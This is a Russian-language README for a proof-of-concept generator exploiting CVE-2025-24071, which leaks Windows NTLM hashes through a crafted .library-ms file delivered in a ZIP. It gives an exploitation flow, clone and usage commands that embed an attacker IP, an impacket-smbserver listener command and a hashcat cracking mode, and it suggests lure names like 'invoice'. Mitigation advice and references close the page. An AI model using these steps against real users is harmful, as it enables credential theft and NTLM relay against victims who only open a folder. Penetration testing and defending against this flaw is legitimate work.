CVE-2025-24071 — Спуфинг проводника Windows / Раскрытие NTLM-хеша через .library-ms

⚠️ Отказ от ответственности: Этот инструмент предназначен только для образовательных целей и авторизованного тестирования на проникновение. Используйте его только против систем, которыми вы владеете или на тестирование которых у вас есть явное письменное разрешение. Неавторизованное использование незаконно.

Содержание

• Обзор
• Детали уязвимости
• Как это работает
• Требования
• Установка
• Использование
• Примеры
• Меры защиты
• Благодарности
• Ссылки

Обзор

Проводник Windows автоматически обрабатывает определённые типы файлов, как только они появляются в представлении папки, без какого-либо взаимодействия с пользователем, например двойного щелчка. Затронутые версии не выполняют должную проверку файлов .library-ms, которые могут определять коннектор поиска, указывающий на произвольный удалённый SMB-путь.

Когда Проводник отображает папку, содержащую вредоносный файл .library-ms (например, сразу после извлечения ZIP/RAR-архива), он молча пытается подключиться к контролируемому злоумышленником UNC-пути для разрешения расположения «библиотеки». Эта попытка SMB-подключения несёт хеш NetNTLMv2 жертвы, который злоумышленник, перехватывающий трафик на указанном хосте (например, с помощью impacket-smbserver или Responder), может затем попытаться взломать офлайн или ретранслировать.

Этот репозиторий содержит минимальную, не требующую зависимостей переработку публичного генератора PoC для данной уязвимости: он создаёт вредоносный файл .library-ms и упаковывает его в ZIP, используя только стандартную библиотеку Python.

Детали уязвимости

Как это работает

Файл .library-ms — это XML-документ, который указывает Проводнику Windows отображать содержимое удалённого или локального расположения как «библиотеку». Его элемент <simpleLocation><url> может указывать на UNC-путь (\\<host>\<share>).

В затронутых версиях Проводник разрешает это расположение сразу при отображении папки — не требуется двойной щелчок или явное действие, достаточно лишь наличия файла в представлении папки (например, сразу после извлечения архива, содержащего его).

Требования для атаки

1. Злоумышленник контролирует хост, доступный жертве (или находится в той же сети), на котором запущен SMB-слушатель (impacket-smbserver, Responder и т. д.).
2. Создаётся вредоносный файл .library-ms, указывающий на \\<attacker_ip>\<share>.
3. Файл доставляется жертве, обычно упакованным в ZIP/RAR-архив (этот репозиторий автоматизирует этап упаковки).
4. Жертва извлекает архив и просматривает папку в Проводнике — дальнейшее взаимодействие не требуется.

Поток эксплуатации

1. Start an SMB listener on the attacker machine
2. Generate a .library-ms file pointing to \\<attacker_ip>\<share>
3. Package it into a ZIP archive
4. Deliver the ZIP to the victim (upload feature, email, share, etc.)
5. Victim extracts the ZIP and Explorer renders the folder
6. Explorer resolves the UNC path -> SMB auth attempt -> NetNTLMv2 hash captured
7. Crack the hash offline (hashcat -m 5600) or relay it

Требования

• Python 3.8+ (только стандартная библиотека — os, sys, argparse, zipfile)

Для генерации полезной нагрузки сторонние зависимости не требуются. Для перехвата хеша на стороне злоумышленника требуется SMB-слушатель, такой как Impacket (impacket-smbserver) или Responder.

Установка

git clone https://github.com/BardLaudian/CVE-2025-24071.git
cd CVE-2025-24071

Использование

usage: cve_2025_24071.py [-h] [-n NAME] [-i IP] [-s SHARE] [-o OUTDIR] [-a]

options:
  -n NAME, --name NAME             Output base filename (no extension)
  -i IP, --ip IP                   Attacker IP to embed as the UNC path target
  -s SHARE, --share SHARE          Share name (default: shared)
  -o OUTDIR, --outdir OUTDIR       Output directory (default: current dir)
  -a, --affected-versions          Print the list of affected Windows versions and exit

Примеры

Базовое использование

python3 cve_2025_24071.py -n invoice -i 10.10.14.5

Это создаёт invoice.zip, содержащий invoice.library-ms, указывающий на \\10.10.14.5\shared.

Запустите слушатель перед доставкой файла

impacket-smbserver shared /tmp/smbshare -smb2support

Пользовательское имя ресурса и выходной каталог

python3 cve_2025_24071.py -n report -i 10.10.14.5 -s data -o ./payloads

Список затронутых версий

python3 cve_2025_24071.py -a

Меры защиты

• Примените кумулятивное обновление безопасности за март 2025 года (или более позднее) для вашей версии Windows.
• Ограничьте исходящий SMB (TCP 445) на периметре сети, чтобы предотвратить утечку NTLM-хешей на внешние хосты.
• Включите обязательное подписывание SMB и отключите NTLM, где это возможно, в пользу Kerberos.
• Сканируйте загружаемые/извлекаемые архивы на наличие .library-ms и подобных автоматически обрабатываемых типов файлов, прежде чем они достигнут рабочих станций конечных пользователей.

Благодарности

• Уязвимость обнаружена и сообщена в Microsoft: Microsoft (указана через MSRC; оригинальный внешний исследователь на момент написания публично не раскрыт)
• Рекомендация опубликована: Microsoft Security Response Center (MSRC)
• Концепция публичного генератора PoC заимствована у: ThemeHackers
• Переработка на стандартной библиотеке: Bardlaudian — версия генератора ZIP/.library-ms без зависимостей, без новой техники эксплуатации

Ссылки

• MSRC — CVE-2025-24071 Security Update Guide
• NVD — CVE-2025-24071
• CVE.org Record — CVE-2025-24071
• GitHub Advisory Database — GHSA-mppc-8qxh-4wjw